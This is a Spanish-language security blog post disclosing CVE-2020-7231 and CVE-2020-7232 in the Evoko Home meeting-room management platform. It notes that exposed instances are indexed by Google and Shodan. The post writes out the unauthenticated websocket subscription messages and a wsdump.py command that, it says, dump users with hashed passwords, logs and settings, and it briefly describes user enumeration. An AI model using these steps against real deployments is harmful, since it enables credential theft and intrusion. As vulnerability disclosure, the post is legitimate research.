Tuesday, January 14, 2020

[Evoko] Otra sala por favor !! (CVE-2020-7231 & CVE-2020-7232 )

Recuerdan al vendor Steelcase y su "RoomWizard", ?
Se trata de un lindo IoT pensado para reservar salas de reuniones de manera muy organizada

En un articulo anterior escribi al respecto (https://sku11army.blogspot.com/2020/01/steelcase-sala-por-favor.html)

Resulta que en el camino me tope con otro cacharro de similares características, pero con firma "Evoko"







El dispositivo es posible administrarlo desde una plataforma web ("Evoko Home") .
Como a continuación se evidencia este aplicativo es posible encontrarlo indexado en Google





En cuanto a su indexacion el numero de este servicio es mucho mayor en Shodan









El aplicativo web, con su correspondiente formulario de acceso

HALLAZGOS

Los hallazgos que se evidencian a continuación se encuentran sobre el aplicativo "Evoko Home". 


1)  Broken Authentication  (CVE-2020-7231)

El primer hallazgo está ligados al uso de Websockets bajo una mala implementacion

Comandos

["{\"msg\":\"connect\",\"version\":\"1\",\"support\":[\"1\",\"pre2\",\"pre1\"]}"]

["{\"msg\":\"sub\",\"id\":\"uNGDbShvkobCsfQ7G\",\"name\":\"meteor.loginServiceConfiguration\",\"params\":[]}"]

["{\"msg\":\"sub\",\"id\":\"gxowAhBZxMTrzhANv\",\"name\":\"meteor_autoupdate_clientVersions\",\"params\":[]}"]

["{\"msg\":\"sub\",\"id\":\"jox7spJYEfsayH5TY\",\"name\":\"structures\",\"params\":[]}"]

["{\"msg\":\"sub\",\"id\":\"9Wm8ei784eiCettG6\",\"name\":\"users\",\"params\":[]}"]

["{\"msg\":\"sub\",\"id\":\"STtXyrh7dCmrB5o5X\",\"name\":\"allSettings\",\"params\":[]}"]

["{\"msg\":\"sub\",\"id\":\"RvJApP8QPKsuibmgD\",\"name\":\"uploads\",\"params\":[]}"]

["{\"msg\":\"sub\",\"id\":\"TdJYr98TmG8PeJzir\",\"name\":\"firmwareData\",\"params\":[]}"]

["{\"msg\":\"sub\",\"id\":\"72F6n495CTvitnMKA\",\"name\":\"clientGroups\",\"params\":[]}"]

["{\"msg\":\"sub\",\"id\":\"sRdnJAFCXdKZGW6iJ\",\"name\":\"allRooms\",\"params\":[\"ALL\"]}"]


["{\"msg\":\"sub\",\"id\":\"uHaf8hfyb2bbN7fvy\",\"name\":\"allBookings\",\"params\":[\"ALL\"]}"]


["{\"msg\":\"sub\",\"id\":\"rP8ZXPxchj5zHh7jm\",\"name\":\"allInfoDevices\",\"params\":[]}"]

["{\"msg\":\"sub\",\"id\":\"9rkG3BFS8phobcZyq\",\"name\":\"allSubscriptions\",\"params\":[]}"]

["{\"msg\":\"sub\",\"id\":\"GvzqjXZ2CWvymgg3g\",\"name\":\"allLogs\",\"params\":[]}"]


Para establecer la conexión se utilizara el siguiente cliente: "wsdump.py"  (https://github.com/websocket-client/websocket-client/blob/master/bin/wsdump.py)


wsdump.py -vv -n -r  wss://192.168.100.113:3002/sockjs/224/uf1psgff/websocket -t '["{\"msg\":\"connect\",\"version\":\"1\",\"support\":[\"1\",\"pre2\",\"pre1\"]}"]'

Luego de establecida la conexión enviamos la siguiente instrucción para obtener el listado de usuario con sus respectivas contraseñas (hasheadas) entre otra información



Desde el navegador es posible realizar la misma lectura: 





2)  Enumeración de usuarios: ( CVE-2020-7232 )


Ingresamos un usuario inexistente 

Ingresamos un usuario valido: 



Saludos,



Ezequiel

Autor

0 comentarios:

Post a Comment

 
biz.